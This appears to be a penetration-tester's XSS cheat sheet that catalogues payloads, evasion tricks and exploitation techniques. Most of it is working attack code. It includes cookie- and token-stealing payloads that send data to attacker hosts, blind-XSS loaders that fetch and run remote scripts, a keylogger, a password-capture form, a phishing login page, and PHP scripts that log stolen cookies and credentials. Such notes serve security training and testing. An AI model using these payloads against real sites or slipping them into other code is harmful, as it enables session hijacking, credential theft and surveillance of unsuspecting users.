XSS

Cross Site Scripting.

Occurs when incorrectly programmed input can be used to insert HTML or execute code (JavaScript) in a user's web browser.

Types:

  • Reflected

  • Stored

  • DOM-based

  • Blind

Steps:

  • Search for inputs that are displayed

  • Understand type and if it is TAG or ATTRIBUTE XSS

  • Try special characters: < > { } ;

  • Try evasion techniques

  • Exploitation (choosing attack type)

Tools

Tool
Details

XSS scanner. xsstrike -u "<URL>" --crawl -l 4 (crawling) xsstrike -u "<URL>?q=query" (GET) xsstrike -u "<URL>" --data "q=query" (POST) xsstrike -u "<URL>" —fuzzer (filters and WAF detect)

An automatic framework to detect, exploit and report XSS vulnerabilities. xsser --wizard (guided start) xsser --gtk (GUI)

Very powerful combined with XSS vulnerability. BeEF is able to provide a URL that if opened by the victim is able to establish a link (HOOK). Edit /etc/beef-xss/config.yaml or beef/config.yaml

Be careful and try with quote and tag injection to escape the syntax.

k"><svg/onload=alert(1)><!--  
k'><svg/onload=alert(1)><!--
k";alert(1);

XSS

print()
alert(1)
javascript:alert(1)
location.href='http://<IP>?log='+document.cookie;
document.location='http://<IP>?log='+document.cookie;
window.location='http://<IP>?log='+document.cookie;
var i=new Image();i.src="http://<IP>?log="+document.cookie;
new Image().src="http://<IP>?log="+document.cookie;
(async () => {let x = await fetch("/api/target").then(res => res.text()); window.location="https://webhook.site/"+btoa(x)})()

It is essential to repair the script following the XSS context, because any syntax errors there will prevent the whole script from executing.

Trigger

<script>XSS<script>
<img src=x onerror=XSS> 
<svg onload=XSS>
<!-- Other tags like <body> <iframe>, and other events etc. -->
<object data="data:text/html,<script>XSS</script>">
<object data= "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<!-- Even with <embed src=...> -->
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">

Sources

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Sinks

URL Validation Bypass

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
element.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
// Object.Array.Function(XSS Vector)
// Instead of [] you can use: “” ''
// Instead of constructor also: map at
// In the first version in both positions (with alert(1))
// In the second only in the first constructor (with 'alert(1)')

[].constructor.constructor(alert(1))
[].constructor.constructor('alert(1)')()
''.at.at(alert(1))
''.at.constructor('alert(1)')()
[]['map']['map'](alert(1))
[]['map']['constructor']('alert(1)')()
// in this way I can use encoding
window[alert(1)]
window[’alert’](1)
// Instead of window also: this, top, globalThis
eval.call`${"alert(1)"}`

Extra

let A = `ABCD ${alert()}`
http://xss_site/search?fetch(`http://<MY_IP>/?log=${document.cookie}`)//&q=<script>eval(location.search.slice(1))</script>
http://xss_site/search?q=<script>eval(location.href.slice(115))</script>&;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;window.location=`http://<MY_IP>/log=`+document.cookie;

Trigger action without user interaction

<iframe src="https://vulnerable-website.com/?search=%22%3E%3Cbody%20onresize=print()%3E" onload="this.style.width='100px'">
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
<iframe src="https://vulnerable-website.com" onload="if(!window.x)this.src='https://vulnerable-website.com';window.x=1;">

SVG change attribute

<svg><text><a><animate attributeName=href values=javascript:alert(1) />Click me</a></text></svg>

Autofocus

autofocus onfocus=alert(document.domain)

Key user interaction (no space)

'accesskey='X'onclick='alert(1)
# (ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)

Script tag (the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts)

<script>
...
var input = '</script><img src=1 onerror=alert(document.domain)>';
...
</script>
onerror=alert;throw 1
{onerror=alert}throw 1
throw onerror=alert,'some string',123,'aaaa' 
// Chrome prefixes the string sent to the exception handler with "Uncaught"
// On Firefox the exception gets prefixed with a two word string "uncaught exception"
{onerror=eval}throw'=alert\x281337\x29' // Uncaught=alert(1337)
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'} // Firefox
{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}
throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]
TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']

Param in function

FUNCTION(PARAM1,x=x=>{throw/**/onerror=alert,123456789},toString=x``,window+'',PARAM2)

csrf

function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    ...
}

Dangling Markup

<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST"> <label>Email</label> <input required="" type="email" value="x"> </form> <form class="login-form" name="my-form" action="https://webhook/" method="GET"> <button class="button" type="submit">CLICK</button"> <input required type="hidden" name="csrf" value="[value]">

The csrf will be sent in the GET.


<script>
if(window.name) {
		new Image().src='//WEBHOOK?'+encodeURIComponent(window.name);
		} else {
     			location = 'https://vuln-website?vulnparam=%22%3E%3Ca%20href=%22https://WEBHOOK/%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>
"><a href="https://WEBHOOK/">Click me</a><base target='

Obfuscation and Escape

<svg/onload=alert(1)>
<svg onload=alert`1`>
// Use with <svg> tag (no CDATA, it is based on XML and does the encoding)
// They usually work in “” and ‘’.

\u0061lert(1)   // Unicode
&#x61;lert(1)   // Hexadecimal NCR 
&#97;lert(1)    // Decimal NCR 
\141lert(1)     // Octal 
\x61lert(1)     // Hexadecimal
// Apply encoding
unescape()
decodeURI()
decodeURIComponent()
let/**/a/**/=/**/1234;
alert(String.fromCharCode(88,83,83))
// https://www.ascii-code.com/
17795081..toString(36)+”(1)” // Only letters and numbers, no characters
// in Python: Int(”<STR>”, 36)
/ale/.source+/rt(1)/.source
// /<STRING>/.source, it is possible to use spaces etc. between / and /
atob("YWxlcnQoMSk=") // base64

Blind XSS

It occurs when the XSS vulnerability is triggered on a page we do not have access to. This means that we will not see how our input will be handled or how it will appear in the browser.

<script src="http://<OUR_IP>/jscript.js"></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://<OUR_IP>/jscript.js\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//<OUR_IP>/jscript.js");a.send();</script>
<script>$.getScript("http://<OUR_IP>/jscript.js")</script>

Having on your own server

jscript.js
document.location="http://<IP>?log="+document.cookie

Types of attacks

The goal is to steal the session cookie. Once you get the session cookie you can use it and enter it into your browser to access the victim's session.

<script>location.href='http://<MY_IP>?data='+document.cookie</script>
<script>document.location='http://<MY_IP>?data='+document.cookie</script>
<script>document.location='http://<MY_IP>?data='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://<MY_IP>?data="+document.cookie;</script>
<script>new Image().src="http://<MY_IP>?data="+localStorage.getItem('access_token');</script>

To organize cookies, on your server:

sudo php -S 0.0.0.0:80
index.php
<?php
    $cookie = $_GET['data'];
    $file = fopen('cookies.txt', 'a+');
    fwrite($file, 'Cookie:'.$cookie."\r\n");
    fclose($file);
?>
index.php
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

csrf

<script>
window.addEventListener('DOMContentLoaded', function() {

var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);

fetch('/post/comment', {
    method: 'POST',
    mode: 'no-cors',
    body: data
});

});
</script>

Capture Passwords

These days, many users have password managers that auto-fill their passwords. You can take advantage of this by creating a password input, reading out the auto-filled password, and sending it to your own domain.

<input required="" type="username" name="username" autofocus="">
<input required="" type="password" name="password" onchange="if(this.value.length)fetch('https://bobby.free.beeceptor.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

csrf

<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">

<script>
    function dothis() {
    var username = document.getElementsByName('username')[0].value
    var password = document.getElementsByName('password')[0].value
    var token = document.getElementsByName('csrf')[0].value
    var data = new FormData();

    data.append('csrf', token);
    data.append('postId', 8); 
    data.append('comment', `${username}:${password}`);

    fetch('/post/comment', {
        method: 'POST',
        mode: 'no-cors',
        body: data
    });
    };
</script>

Defacing

Change the appearance of the web page. This is done through JavaScript functions; the same elements can be written differently and perhaps more compactly with jQuery if present.

Adds HTML elements

document.write()

JQuery: add(), after(), append()

Background color

document.body.style.background

document.body.style.background = "#141d2b" document.body.style.background = "black"

Background with image

document.body.background

document.body.background = "<https://www.hackthebox.eu/images/logo-htb.svg>"

Page title

document.title

document.title = 'HackTheBox Academy'

Page elements

DOM.innerHTML DOM.outerHTML

document.getElementById("todo").innerHTML = "New Text" document.getElementsByTagName('body')[0].innerHTML = "New Text" (change the first body, usually the only one)

Removing elements

DOM.remove()

document.getElementById("todo").remove()

es.

<script>document.body.style.background="black";document.title="Pwn!";document.getElementsByTagName('body')[0].innerHTML='<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>

Phishing

Through XSS, it is possible to insert self-created login forms inside trusted pages, making them very dangerous.

<h3>Please login to continue</h3>
<form action=http://OUR_IP>
	<input type="username" name="username" placeholder="Username">
	<input type="password" name="password" placeholder="Password">
	<input type="submit" name="submit" value="Login">
</form>

Need to edit and delete the other elements of the page, see Defacing. Convert payload to a single line with MinifyHTML or see Java Deobfuscation.

To organize requests, on your server:

sudo php -S 0.0.0.0:80
index.php
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    $u = $_GET['username'];
    $p = $_GET['password'];
    fputs($file, "Username: {$u} | Password: {$p}\n"); # also fwrite()
    fclose($file);
    header("Location: http://SERVER_IP/phishing/index.php"); # <- Redirect wherever you want
    exit();
}
?>

Keylogging

Getting the keys pressed by the victim.

<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>

Content Security Policy

Browser security mechanism that aims to mitigate XSS and some other attacks. HTTP response header called Content-Security-Policy with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.

CSP policy injection

script-src-elem 'none'; script-src-attr 'unsafe-inline'

"script-src-elem" directive allows you to control just script blocks and was created so that you can allow event handlers but block script elements (it will overwrite existing script-src directives!).

<img src=1 onerror=alert()>

Last updated